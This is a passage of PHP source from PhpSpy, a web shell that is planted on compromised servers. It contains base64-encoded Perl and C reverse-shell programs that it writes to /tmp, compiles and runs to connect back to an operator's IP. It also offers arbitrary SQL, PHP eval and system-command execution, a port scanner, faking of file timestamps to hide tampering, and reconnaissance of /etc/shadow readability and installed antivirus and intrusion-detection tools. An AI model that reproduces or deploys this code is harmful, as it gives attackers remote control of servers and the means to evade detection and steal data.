} else {
$start_limit = 0;
$page = 1;
}
if (isset($dbhost) && isset($dbuser) && isset($dbpass) && isset($connect)) {
$mysqllink = mydbconn($dbhost, $dbuser, $dbpass, $dbname, $charset, $dbport);
//??b??
$mysqlver = mysql_get_server_info();
p('<p>MySQL '.$mysqlver.' running in '.$dbhost.' as '.$dbuser.'@'.$dbhost.'</p>');
$highver = $mysqlver > '4.1' ? 1 : 0;
//??b??
$query = q("SHOW DATABASES");
$dbs = array();
$dbs[] = '-- Select a database --';
while($db = mysql_fetch_array($query)) {
$dbs[$db['Database']] = $db['Database'];
}
makeselect(array('title'=>'Please select a database:','name'=>'db[]','option'=>$dbs,'selected'=>$dbname,'onchange'=>'moddbname(this.options[this.selectedIndex].value)','newline'=>1));
$tabledb = array();
if ($dbname) {
p('<p>');
p('Current dababase: <a href="javascript:moddbname(\''.$dbname.'\');">'.$dbname.'</a>');
if ($tablename) {
p(' | Current Table: <a href="javascript:settable(\''.$tablename.'\');">'.$tablename.'</a> [ <a href="javascript:settable(\''.$tablename.'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$tablename.'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$tablename.'\', \'drop\');">Drop</a> ]');
}
p('</p>');
mysql_select_db($dbname);
$getnumsql = '';
$runquery = 0;
if ($sql_query) {
$runquery = 1;
}
$allowedit = 0;
if ($tablename && !$sql_query) {
$sql_query = "SELECT * FROM $tablename";
$getnumsql = $sql_query;
$sql_query = $sql_query." LIMIT $start_limit, $pagenum";
$allowedit = 1;
}
p('<form action="'.$self.'" method="POST">');
p('<p><table width="200" border="0" cellpadding="0" cellspacing="0"><tr><td colspan="2">Run SQL query/queries on database '.$dbname.':</td></tr><tr><td><textarea name="sql_query" class="area" style="width:600px;height:50px;overflow:auto;">'.htmlspecialchars($sql_query,ENT_QUOTES).'</textarea></td><td style="padding:0 5px;"><input class="bt" style="height:50px;" name="submit" type="submit" value="Query" /></td></tr></table></p>');
makehide('tablename', $tablename);
makehide('action','mysqladmin');
p($dbform);
p('</form>');
if ($tablename || ($runquery && $sql_query)) {
if ($doing == 'structure') {
$result = q("SHOW FULL COLUMNS FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<h3>Structure</h3>');
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Field</td>');
p('<td>Type</td>');
p('<td>Collation</td>');
p('<td>Null</td>');
p('<td>Key</td>');
p('<td>Default</td>');
p('<td>Extra</td>');
p('<td>Privileges</td>');
p('<td>Comment</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td>'.$row['Field'].'</td>');
p('<td>'.$row['Type'].'</td>');
p('<td>'.$row['Collation'].' </td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Key'].' </td>');
p('<td>'.$row['Default'].' </td>');
p('<td>'.$row['Extra'].' </td>');
p('<td>'.$row['Privileges'].' </td>');
p('<td>'.$row['Comment'].' </td>');
p('</tr>');
}
tbfoot();
$result = q("SHOW INDEX FROM $tablename");
$rowdb = array();
while($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
p('<h3>Indexes</h3>');
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
p('<td>Keyname</td>');
p('<td>Type</td>');
p('<td>Unique</td>');
p('<td>Packed</td>');
p('<td>Seq_in_index</td>');
p('<td>Field</td>');
p('<td>Cardinality</td>');
p('<td>Collation</td>');
p('<td>Null</td>');
p('<td>Comment</td>');
p('</tr>');
foreach ($rowdb as $row) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td>'.$row['Key_name'].'</td>');
p('<td>'.$row['Index_type'].'</td>');
p('<td>'.($row['Non_unique'] ? 'No' : 'Yes').' </td>');
p('<td>'.($row['Packed'] === null ? 'No' : $row['Packed']).' </td>');
p('<td>'.$row['Seq_in_index'].'</td>');
p('<td>'.$row['Column_name'].($row['Sub_part'] ? '('.$row['Sub_part'].')' : '').' </td>');
p('<td>'.($row['Cardinality'] ? $row['Cardinality'] : 0).' </td>');
p('<td>'.$row['Collation'].' </td>');
p('<td>'.$row['Null'].' </td>');
p('<td>'.$row['Comment'].' </td>');
p('</tr>');
}
tbfoot();
} elseif ($doing == 'insert' || $doing == 'edit') {
$result = q('SHOW COLUMNS FROM '.$tablename);
while ($row = mysql_fetch_array($result)) {
$rowdb[] = $row;
}
$rs = array();
if ($doing == 'insert') {
p('<h2>Insert new line in '.$tablename.' table »</h2>');
} else {
p('<h2>Update record in '.$tablename.' table »</h2>');
$where = base64_decode($base64);
$result = q("SELECT * FROM $tablename WHERE $where LIMIT 1");
$rs = mysql_fetch_array($result);
}
p('<form method="post" action="'.$self.'">');
p($dbform);
makehide('action','mysqladmin');
makehide('tablename',$tablename);
p('<table border="0" cellpadding="3" cellspacing="0">');
foreach ($rowdb as $row) {
if ($rs[$row['Field']]) {
$value = htmlspecialchars($rs[$row['Field']]);
} else {
$value = '';
}
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
if ($row['Key'] == 'UNI' || $row['Extra'] == 'auto_increment' || $row['Key'] == 'PRI') {
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td>'.$value.' </td></tr>');
} else {
p('<td><b>'.$row['Field'].'</b><br />'.$row['Type'].'</td><td><textarea class="area" name="insertsql['.$row['Field'].']" style="width:500px;height:60px;overflow:auto;">'.$value.'</textarea></td></tr>');
}
}
if ($doing == 'insert') {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="insert" value="Insert" /></td></tr>');
} else {
p('<tr class="'.bg().'"><td colspan="2"><input class="bt" type="submit" name="update" value="Update" /></td></tr>');
makehide('base64', $base64);
}
p('</table></form>');
} else {
$querys = @explode(';',$sql_query);
foreach($querys as $num=>$query) {
if ($query) {
p("<p><b>Query#{$num} : ".htmlspecialchars($query,ENT_QUOTES)."</b></p>");
switch(qy($query))
{
case 0:
p('<h2>Error : '.mysql_error().'</h2>');
break;
case 1:
if (strtolower(substr($query,0,13)) == 'select * from') {
$allowedit = 1;
}
if ($getnumsql) {
$tatol = mysql_num_rows(q($getnumsql));
$multipage = multi($tatol, $pagenum, $page, $tablename);
}
if (!$tablename) {
$sql_line = str_replace(array("
", "
", " "), array(' ', ' ', ' '), trim(htmlspecialchars($query)));
$sql_line = preg_replace("/\/\*[^(\*\/)]*\*\//i", " ", $sql_line);
preg_match_all("/from\s+`{0,1}([\w]+)`{0,1}\s+/i",$sql_line,$matches);
$tablename = $matches[1][0];
}
/*********************/
$getfield = q("SHOW COLUMNS FROM $tablename");
$rowdb = array();
$keyfied = ''; //??
while($row = @mysql_fetch_assoc($getfield)) {
$rowdb[$row['Field']]['Key'] = $row['Key'];
$rowdb[$row['Field']]['Extra'] = $row['Extra'];
if ($row['Key'] == 'UNI' || $row['Key'] == 'PRI') {
$keyfied = $row['Field'];
}
}
/*********************/
//????????
if ($keyfied && strtolower(substr($query,0,13)) == 'select * from') {
$query = str_replace(" LIMIT ", " order by $keyfied DESC LIMIT ", $query);
}
$result = q($query);
p($multipage);
p('<table border="0" cellpadding="3" cellspacing="0">');
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
}
p('</tr>');
while($mn = @mysql_fetch_assoc($result)){
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
$where = $tmp = $b1 = '';
//O?S??
foreach($mn as $key=>$inside){
if ($inside) {
//??wT??????H???[S?
if ($rowdb[$key]['Key'] == 'UNI' || $rowdb[$key]['Extra'] == 'auto_increment' || $rowdb[$key]['Key'] == 'PRI') {
$where = $key."='".addslashes($inside)."'";
break;
}
$where .= $tmp.$key."='".addslashes($inside)."'";
$tmp = ' AND ';
}
}
//????
foreach($mn as $key=>$inside){
$b1 .= '<td nowrap>'.html_clean($inside).' </td>';
}
$where = base64_encode($where);
if ($allowedit) p('<td nowrap><a href="javascript:editrecord(\'edit\', \''.$where.'\', \''.$tablename.'\');">Edit</a> | <a href="javascript:editrecord(\'del\', \''.$where.'\', \''.$tablename.'\');">Del</a></td>');
p($b1);
p('</tr>');
unset($b1);
}
p('<tr class="head">');
if ($allowedit) p('<td>Action</td>');
$fieldnum = @mysql_num_fields($result);
for($i=0;$i<$fieldnum;$i++){
$name = @mysql_field_name($result, $i);
$type = @mysql_field_type($result, $i);
$len = @mysql_field_len($result, $i);
p("<td nowrap>$name<br><span>$type($len)".(($rowdb[$name]['Key'] == 'UNI' || $rowdb[$name]['Key'] == 'PRI') ? '<b> - PRIMARY</b>' : '').($rowdb[$name]['Extra'] == 'auto_increment' ? '<b> - Auto</b>' : '')."</span></td>");
}
p('</tr>');
tbfoot();
p($multipage);
break;
case 2:
$ar = mysql_affected_rows();
p('<h2>affected rows : <b>'.$ar.'</b></h2>');
break;
}
}
}
}
} else {
$query = q("SHOW TABLE STATUS");
$table_num = $table_rows = $data_size = 0;
$tabledb = array();
while($table = mysql_fetch_array($query)) {
$data_size = $data_size + $table['Data_length'];
$table_rows = $table_rows + $table['Rows'];
$table['Data_length'] = sizecount($table['Data_length']);
$table_num++;
$tabledb[] = $table;
}
$data_size = sizecount($data_size);
unset($table);
p('<table border="0" cellpadding="0" cellspacing="0">');
p('<form action="'.$self.'" method="POST">');
makehide('action','mysqladmin');
p($dbform);
p('<tr class="head">');
p('<td width="2%" align="center"> </td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('<td>Operate</td>');
p('</tr>');
foreach ($tabledb as $key => $table) {
$thisbg = bg();
p('<tr class="'.$thisbg.'" onmouseover="this.className=\'focus\';" onmouseout="this.className=\''.$thisbg.'\';">');
p('<td align="center" width="2%"><input type="checkbox" name="table[]" value="'.$table['Name'].'" /></td>');
p('<td><a href="javascript:settable(\''.$table['Name'].'\');">'.$table['Name'].'</a></td>');
p('<td>'.$table['Rows'].'</td>');
p('<td>'.$table['Data_length'].'</td>');
p('<td>'.$table['Create_time'].' </td>');
p('<td>'.$table['Update_time'].' </td>');
if ($highver) {
p('<td>'.$table['Engine'].'</td>');
p('<td>'.$table['Collation'].'</td>');
}
p('<td><a href="javascript:settable(\''.$table['Name'].'\', \'insert\');">Insert</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'structure\');">Structure</a> | <a href="javascript:settable(\''.$table['Name'].'\', \'drop\');">Drop</a></td>');
p('</tr>');
}
p('<tr class="head">');
p('<td width="2%" align="center"><input name="chkall" value="on" type="checkbox" onclick="CheckAll(this.form)" /></td>');
p('<td>Name</td>');
p('<td>Rows</td>');
p('<td>Data_length</td>');
p('<td>Create_time</td>');
p('<td>Update_time</td>');
if ($highver) {
p('<td>Engine</td>');
p('<td>Collation</td>');
}
p('<td>Operate</td>');
p('</tr>');
p('<tr class='.bg().'>');
p('<td> </td>');
p('<td>Total tables: '.$table_num.'</td>');
p('<td>'.$table_rows.'</td>');
p('<td>'.$data_size.'</td>');
p('<td colspan="'.($highver ? 5 : 3).'"> </td>');
p('</tr>');
p("<tr class=\"".bg()."\"><td colspan=\"".($highver ? 9 : 7)."\"><input name=\"saveasfile\" value=\"1\" type=\"checkbox\" /> Save as file <input class=\"input\" name=\"path\" value=\"".SA_ROOT.$dbname.".sql\" type=\"text\" size=\"60\" /> <input class=\"bt\" type=\"submit\" value=\"Export selection table\" /></td></tr>");
makehide('doing','backupmysql');
formfoot();
p("</table>");
fr($query);
}
}
}
tbfoot();
@mysql_close();
}//end mysql
elseif ($action == 'backconnect') {
!$yourip && $yourip = $_SERVER['REMOTE_ADDR'];
!$yourport && $yourport = '12345';
$usedb = array('perl'=>'perl','c'=>'c');
$back_connect="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGNtZD0gImx5bngiOw0KJHN5c3RlbT0gJ2VjaG8gImB1bmFtZSAtYWAiO2Vj".
"aG8gImBpZGAiOy9iaW4vc2gnOw0KJDA9JGNtZDsNCiR0YXJnZXQ9JEFSR1ZbMF07DQokcG9ydD0kQVJHVlsxXTsNCiRpYWRkcj1pbmV0X2F0b24oJHR".
"hcmdldCkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRwb3J0LCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKT".
"sNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoI".
"kVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQi".
"KTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgkc3lzdGVtKTsNCmNsb3NlKFNUREl".
"OKTsNCmNsb3NlKFNURE9VVCk7DQpjbG9zZShTVERFUlIpOw==";
$back_connect_c="I2luY2x1ZGUgPHN0ZGlvLmg+DQojaW5jbHVkZSA8c3lzL3NvY2tldC5oPg0KI2luY2x1ZGUgPG5ldGluZXQvaW4uaD4NCmludC".
"BtYWluKGludCBhcmdjLCBjaGFyICphcmd2W10pDQp7DQogaW50IGZkOw0KIHN0cnVjdCBzb2NrYWRkcl9pbiBzaW47DQogY2hhciBybXNbMjFdPSJyb".
"SAtZiAiOyANCiBkYWVtb24oMSwwKTsNCiBzaW4uc2luX2ZhbWlseSA9IEFGX0lORVQ7DQogc2luLnNpbl9wb3J0ID0gaHRvbnMoYXRvaShhcmd2WzJd".
"KSk7DQogc2luLnNpbl9hZGRyLnNfYWRkciA9IGluZXRfYWRkcihhcmd2WzFdKTsgDQogYnplcm8oYXJndlsxXSxzdHJsZW4oYXJndlsxXSkrMStzdHJ".
"sZW4oYXJndlsyXSkpOyANCiBmZCA9IHNvY2tldChBRl9JTkVULCBTT0NLX1NUUkVBTSwgSVBQUk9UT19UQ1ApIDsgDQogaWYgKChjb25uZWN0KGZkLC".
"Aoc3RydWN0IHNvY2thZGRyICopICZzaW4sIHNpemVvZihzdHJ1Y3Qgc29ja2FkZHIpKSk8MCkgew0KICAgcGVycm9yKCJbLV0gY29ubmVjdCgpIik7D".
"QogICBleGl0KDApOw0KIH0NCiBzdHJjYXQocm1zLCBhcmd2WzBdKTsNCiBzeXN0ZW0ocm1zKTsgIA0KIGR1cDIoZmQsIDApOw0KIGR1cDIoZmQsIDEp".
"Ow0KIGR1cDIoZmQsIDIpOw0KIGV4ZWNsKCIvYmluL3NoIiwic2ggLWkiLCBOVUxMKTsNCiBjbG9zZShmZCk7IA0KfQ==";
if ($start && $yourip && $yourport && $use){
if ($use == 'perl') {
cf('/tmp/angel_bc',$back_connect);
$res = execute(which('perl')." /tmp/angel_bc $yourip $yourport &");
} else {
cf('/tmp/angel_bc.c',$back_connect_c);
$res = execute('gcc -o /tmp/angel_bc /tmp/angel_bc.c');
@unlink('/tmp/angel_bc.c');
$res = execute("/tmp/angel_bc $yourip $yourport &");
}
m("Now script try connect to $yourip port $yourport ...");
}
formhead(array('title'=>'Back Connect'));
makehide('action','backconnect');
p('<p>');
p('Your IP:');
makeinput(array('name'=>'yourip','size'=>20,'value'=>$yourip));
p('Your Port:');
makeinput(array('name'=>'yourport','size'=>15,'value'=>$yourport));
p('Use:');
makeselect(array('name'=>'use','option'=>$usedb,'selected'=>$use));
makeinput(array('name'=>'start','value'=>'Start','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
}//end
elseif ($action == 'portscan') {
!$scanip && $scanip = '127.0.0.1';
!$scanport && $scanport = '21,25,80,110,135,139,445,1433,3306,3389,5631,43958';
formhead(array('title'=>'Port Scan'));
makehide('action','portscan');
p('<p>');
p('IP:');
makeinput(array('name'=>'scanip','size'=>20,'value'=>$scanip));
p('Port:');
makeinput(array('name'=>'scanport','size'=>80,'value'=>$scanport));
makeinput(array('name'=>'startscan','value'=>'Scan','type'=>'submit','class'=>'bt'));
p('</p>');
formfoot();
if ($startscan) {
p('<h2>Result »</h2>');
p('<ul class="info">');
foreach(explode(',', $scanport) as $port) {
$fp = @fsockopen($scanip, $port, $errno, $errstr, 1);
if (!$fp) {
p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#f00;">Close</span></li>');
} else {
p('<li>'.$scanip.':'.$port.' ------------------------ <span style="font-weight:bold;color:#080;">Open</span></li>');
@fclose($fp);
}
}
p('</ul>');
}
}
elseif ($action == 'eval') {
$phpcode = trim($phpcode);
if($phpcode){
if (!preg_match('#<\?#si', $phpcode)) {
$phpcode = "<?php
{$phpcode}
?>";
}
eval("?".">$phpcode<?");
}
formhead(array('title'=>'Eval PHP Code'));
makehide('action','eval');
maketext(array('title'=>'PHP Code','name'=>'phpcode', 'value'=>$phpcode));
p('<p><a href="http://w'.'ww.4ng'.'el.net/php'.'spy/pl'.'ugin/" target="_blank">Get plugins</a></p>');
formfooter();
}//end eval
elseif ($action == 'editfile') {
if(file_exists($opfile)) {
$fp=@fopen($opfile,'r');
$contents=@fread($fp, filesize($opfile));
@fclose($fp);
$contents=htmlspecialchars($contents);
}
formhead(array('title'=>'Create / Edit File'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current File (import new file name and new file)','name'=>'editfilename','value'=>$opfile,'newline'=>1));
maketext(array('title'=>'File Content','name'=>'filecontent','value'=>$contents));
formfooter();
goback();
}//end editfile
elseif ($action == 'newtime') {
$opfilemtime = @filemtime($opfile);
//$time = strtotime("$year-$month-$day $hour:$minute:$second");
$cachemonth = array('January'=>1,'February'=>2,'March'=>3,'April'=>4,'May'=>5,'June'=>6,'July'=>7,'August'=>8,'September'=>9,'October'=>10,'November'=>11,'December'=>12);
formhead(array('title'=>'Clone folder/file was last modified time'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Alter folder/file','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
makeinput(array('title'=>'Reference folder/file (fullpath)','name'=>'tarfile','size'=>120,'newline'=>1));
formfooter();
formhead(array('title'=>'Set last modified'));
makehide('action','file');
makehide('dir',$nowpath);
makeinput(array('title'=>'Current folder/file (fullpath)','name'=>'curfile','value'=>$opfile,'size'=>120,'newline'=>1));
p('<p>year:');
makeinput(array('name'=>'year','value'=>date('Y',$opfilemtime),'size'=>4));
p('month:');
makeinput(array('name'=>'month','value'=>date('m',$opfilemtime),'size'=>2));
p('day:');
makeinput(array('name'=>'day','value'=>date('d',$opfilemtime),'size'=>2));
p('hour:');
makeinput(array('name'=>'hour','value'=>date('H',$opfilemtime),'size'=>2));
p('minute:');
makeinput(array('name'=>'minute','value'=>date('i',$opfilemtime),'size'=>2));
p('second:');
makeinput(array('name'=>'second','value'=>date('s',$opfilemtime),'size'=>2));
p('</p>');
formfooter();
goback();
}//end newtime
elseif ($action == 'shell') {
if (IS_WIN && IS_COM) {
if($program && $parameter) {
$shell= new COM('Shell.Application');
$a = $shell->ShellExecute($program,$parameter);
m('Program run has '.(!$a ? 'success' : 'fail'));
}
!$program && $program = 'c:\windows\system32\cmd.exe';
!$parameter && $parameter = '/c net start > '.SA_ROOT.'log.txt';
formhead(array('title'=>'Execute Program'));
makehide('action','shell');
makeinput(array('title'=>'Program','name'=>'program','value'=>$program,'newline'=>1));
p('<p>');
makeinput(array('title'=>'Parameter','name'=>'parameter','value'=>$parameter));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
}
formhead(array('title'=>'Execute Command'));
makehide('action','shell');
if (IS_WIN && IS_COM) {
$execfuncdb = array('phpfunc'=>'phpfunc','wscript'=>'wscript','proc_open'=>'proc_open');
makeselect(array('title'=>'Use:','name'=>'execfunc','option'=>$execfuncdb,'selected'=>$execfunc,'newline'=>1));
}
p('<p>');
makeinput(array('title'=>'Command','name'=>'command','value'=>htmlspecialchars($command)));
makeinput(array('name'=>'submit','class'=>'bt','type'=>'submit','value'=>'Execute'));
p('</p>');
formfoot();
if ($command) {
p('<hr width="100%" noshade /><pre>');
if ($execfunc=='wscript' && IS_WIN && IS_COM) {
$wsh = new COM('WScript.shell');
$exec = $wsh->exec('cmd.exe /c '.$command);
$stdout = $exec->StdOut();
$stroutput = $stdout->ReadAll();
echo $stroutput;
} elseif ($execfunc=='proc_open' && IS_WIN && IS_COM) {
$descriptorspec = array(
0 => array('pipe', 'r'),
1 => array('pipe', 'w'),
2 => array('pipe', 'w')
);
$process = proc_open($_SERVER['COMSPEC'], $descriptorspec, $pipes);
if (is_resource($process)) {
fwrite($pipes[0], $command."
");
fwrite($pipes[0], "exit
");
fclose($pipes[0]);
while (!feof($pipes[1])) {
echo fgets($pipes[1], 1024);
}
fclose($pipes[1]);
while (!feof($pipes[2])) {
echo fgets($pipes[2], 1024);
}
fclose($pipes[2]);
proc_close($process);
}
} else {
echo(execute($command));
}
p('</pre>');
}
}//end shell
elseif ($action == 'phpenv') {
$upsize=getcfg('file_uploads') ? getcfg('upload_max_filesize') : 'Not allowed';
$adminmail=isset($_SERVER['SERVER_ADMIN']) ? $_SERVER['SERVER_ADMIN'] : getcfg('sendmail_from');
!$dis_func && $dis_func = 'No';
$info = array(
1 => array('Server Time',date('Y/m/d h:i:s',$timestamp)),
2 => array('Server Domain',$_SERVER['SERVER_NAME']),
3 => array('Server IP',gethostbyname($_SERVER['SERVER_NAME'])),
4 => array('Server OS',PHP_OS),
5 => array('Server OS Charset',$_SERVER['HTTP_ACCEPT_LANGUAGE']),
6 => array('Server Software',$_SERVER['SERVER_SOFTWARE']),
7 => array('Server Web Port',$_SERVER['SERVER_PORT']),
8 => array('PHP run mode',strtoupper(php_sapi_name())),
9 => array('The file path',__FILE__),
10 => array('PHP Version',PHP_VERSION),
11 => array('PHPINFO',(IS_PHPINFO ? '<a href="javascript:g(\'phpinfo\');">Yes</a>' : 'No')),
12 => array('Safe Mode',getcfg('safe_mode')),
13 => array('OpenSSL',(!function_exists("extension_loaded") || !extension_loaded("openssl") ? 'No' : 'Yes')),
14 => array('allow_url_fopen',getcfg('allow_url_fopen')),
15 => array('enable_dl',getcfg('enable_dl')),
16 => array('display_errors',getcfg('display_errors')),
17 => array('register_globals',getcfg('register_globals')),
18 => array('magic_quotes_gpc',getcfg('magic_quotes_gpc')),
19 => array('memory_limit',getcfg('memory_limit')),
20 => array('post_max_size',getcfg('post_max_size')),
21 => array('upload_max_filesize',$upsize),
22 => array('max_execution_time',getcfg('max_execution_time').' second(s)'),
23 => array('disable_functions',$dis_func),
);
if($phpvarname) {
m($phpvarname .' : '.getcfg($phpvarname));
}
formhead(array('title'=>'Server environment'));
makehide('action','phpenv');
makeinput(array('title'=>'Please input PHP configuration parameter(eg:magic_quotes_gpc)','name'=>'phpvarname','value'=>$phpvarname,'newline'=>1));
formfooter();
$hp = array(0=> 'Server', 1=> 'PHP');
for($a=0;$a<2;$a++) {
p('<h2>'.$hp[$a].' »</h2>');
p('<ul class="info">');
if ($a==0) {
for($i=1;$i<=9;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
} elseif ($a == 1) {
for($i=10;$i<=23;$i++) {
p('<li><u>'.$info[$i][0].':</u>'.$info[$i][1].'</li>');
}
}
p('</ul>');
}
}//end phpenv
elseif ($action == 'secinfo') {
secparam('Server software', @getenv('SERVER_SOFTWARE'));
secparam('Disabled PHP Functions', ($GLOBALS['disable_functions'])?$GLOBALS['disable_functions']:'none');
secparam('Open base dir', @ini_get('open_basedir'));
secparam('Safe mode exec dir', @ini_get('safe_mode_exec_dir'));
secparam('Safe mode include dir', @ini_get('safe_mode_include_dir'));
secparam('cURL support', function_exists('curl_version')?'enabled':'no');
$temp=array();
if(function_exists('mysql_get_client_info'))
$temp[] = "MySql (".mysql_get_client_info().")";
if(function_exists('mssql_connect'))
$temp[] = "MSSQL";
if(function_exists('pg_connect'))
$temp[] = "PostgreSQL";
if(function_exists('oci_connect'))
$temp[] = "Oracle";
secparam('Supported databases', implode(', ', $temp));
if( !IS_WIN ) {
$userful = array('gcc','lcc','cc','ld','make','php','perl','python','ruby','tar','gzip','bzip','bzip2','nc','locate','suidperl');
$danger = array('kav','nod32','bdcored','uvscan','sav','drwebd','clamd','rkhunter','chkrootkit','iptables','ipfw','tripwire','shieldcc','portsentry','snort','ossec','lidsadm','tcplodg','sxid','logcheck','logwatch','sysmask','zmbscap','sawmill','wormscan','ninja');
$downloaders = array('wget','fetch','lynx','links','curl','get','lwp-mirror');
secparam('Readable /etc/passwd', @is_readable('/etc/passwd') ? "yes" : 'no');
secparam('Readable /etc/shadow', @is_readable('/etc/shadow') ? "yes" : 'no');
secparam('OS version', @file_get_contents('/proc/version'));
secparam('Distr name', @file_get_contents('/etc/issue.net'));
$safe_mode = @ini_get('safe_mode');
if(!$GLOBALS['safe_mode']) {
$temp=array();
foreach ($userful as $item)
if(which($item)){$temp[]=$item;}
secparam('Userful', implode(', ',$temp));
$temp=array();
foreach ($danger as $item)
if(which($item)){$temp[]=$item;}
secparam('Danger', implode(', ',$temp));
$temp=array();
foreach ($downloaders as $item)
if(which($item)){$temp[]=$item;}
secparam('Downloaders', implode(', ',$temp));
secparam('Hosts', @file_get_contents('/etc/hosts'));
secparam('HDD space', execute('df -h'));
secparam('Mount options', @file_get_contents('/etc/fstab'));
}
} else {
secparam('OS Version',execute('ver'));
secparam('Account Settings',execute('net accounts'));
secparam('User Accounts',execute('net user'));
secparam('IP Configurate',execute('ipconfig -all'));
}
}//end
else {
m('Undefined Action');
}
?>
</td></tr></table>
<div style="padding:10px;border-bottom:1px solid #fff;border-top:1px solid #ddd;background:#eee;">
<span style="float:right;"><?php debuginfo();ob_end_flush();?></span>
Powered by <a title="Build 20110502" href="http://www.4ngel.net" target="_blank"><?php echo str_replace('.','','P.h.p.S.p.y');?> 2011</a>. Copyright (C) 2004-2011 <a href="http://www.4ngel.net" target="_blank">Security Angel Team [S4T]</a> All Rights Reserved.
</div>
</body>
</html>
<?php
/*======================================================
?b?
======================================================*/
function secparam($n, $v) {
$v = trim($v);
if($v) {
p('<h2>'.$n.' »</h2>');
p('<div class="infolist">');
if(strpos($v, "
") === false)
p($v.'<br />');
else
p('<pre>'.$v.'</pre>');
p('</div>');
}
}
function m($msg) {
echo '<div style="margin:10px auto 15px auto;background:#ffffe0;border:1px solid #e6db55;padding:10px;font:14px;text-align:center;font-weight:bold;">';
echo $msg;
echo '</div>';
}
function scookie($key, $value, $life = 0, $prefix = 1) {
global $timestamp, $_SERVER, $cookiepre, $cookiedomain, $cookiepath, $cookielife;
$key = ($prefix ? $cookiepre : '').$key;
$life = $life ? $life : $cookielife;
$useport = $_SERVER['SERVER_PORT'] == 443 ? 1 : 0;
setcookie($key, $value, $timestamp+$life, $cookiepath, $cookiedomain, $useport);
}
function multi($num, $perpage, $curpage, $tablename) {
$multipage = '';
if($num > $perpage) {
$page = 10;
$offset = 5;
$pages = @ceil($num / $perpage);
if($page > $pages) {
$from = 1;
$to = $pages;
} else {
$from = $curpage - $offset;
$to = $curpage + $page - $offset - 1;
if($from < 1) {
$to = $curpage + 1 - $from;
$from = 1;
if(($to - $from) < $page && ($to - $from) < $pages) {
$to = $page;
}
} elseif($to > $pages) {
$from = $curpage - $pages + $to;
$to = $pages;
if(($to - $from) < $page && ($to - $from) < $pages) {
$from = $pages - $page + 1;
}
}
}
$multipage = ($curpage - $offset > 1 && $pages > $page ? '<a href="javascript:settable(\''.$tablename.'\', \'\', 1);">First</a> ' : '').($curpage > 1 ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage - 1).');">Prev</a> ' : '');
for($i = $from; $i <= $to; $i++) {
$multipage .= $i == $curpage ? $i.' ' : '<a href="javascript:settable(\''.$tablename.'\', \'\', '.$i.');">['.$i.']</a> ';
}
$multipage .= ($curpage < $pages ? '<a href="javascript:settable(\''.$tablename.'\', \'\', '.($curpage + 1).');">Next</a>' : '').($to < $pages ? ' <a href="javascript:settable(\''.$tablename.'\', \'\', '.$pages.');">Last</a>' : '');
$multipage = $multipage ? '<p>Pages: '.$multipage.'</p>' : '';
}
return $multipage;
}
// ????
function loginpage() {
?>
<form method="POST" action="">
